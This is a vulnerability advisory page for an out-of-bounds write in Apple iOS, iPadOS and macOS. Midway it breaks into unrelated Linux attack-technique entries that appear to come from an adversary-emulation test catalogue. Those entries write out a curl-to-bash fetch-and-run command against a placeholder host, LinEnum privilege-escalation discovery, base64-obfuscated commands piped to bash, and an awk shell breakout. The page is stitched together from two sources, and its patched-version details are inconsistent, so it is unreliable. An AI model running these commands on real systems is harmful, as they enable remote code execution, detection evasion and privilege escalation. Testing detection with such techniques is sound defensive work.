CVE-2026-86950

HIGH CISA KEV POC TTE Zero-Day Pub 28/09 Upd 26/10

Overview

This vulnerability is an out-of-bounds write flaw caused by improper bounds checking during file processing in Apple iOS and iPadOS. The root cause lies in the failure to correctly validate input size or index values, leading to memory corruption. The affected components are the file parsing routines within the operating system's media or document handling subsystems.

Vulnerability Description

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 18.7.11 and iPadOS 18.7.11, iOS 26.7.1 and iPadOS 26.7.1, macOS Sequoia 15.8.1, macOS Tahoe 26.7.1. Processing a maliciously crafted file may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 27.

Impact

An attacker can achieve arbitrary code execution by exploiting this vulnerability, enabling full control over the affected device. Exploitation requires the victim to open or process a malicious file, which may be delivered via email, messaging, or other file transfer methods. Successful exploitation can result in complete system compromise, data theft, or persistent unauthorized access, impacting targeted individuals or organizations with sensitive data.

Solution

Apple addressed this vulnerability by releasing security updates in iOS 26.7.1 and iPadOS 26.7.1, as well as macOS Sequoia 15.8.1 and macOS Tahoe 26.7.1. Users and administrators should apply these updates promptly to mitigate the risk. Detailed patch instructions and advisory information are available at Apple's official support pages: https://support.apple.com/en-us/149226, https://support.apple.com/en-us/149228, and https://support.apple.com/en-us/149229.

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell

if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell

Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
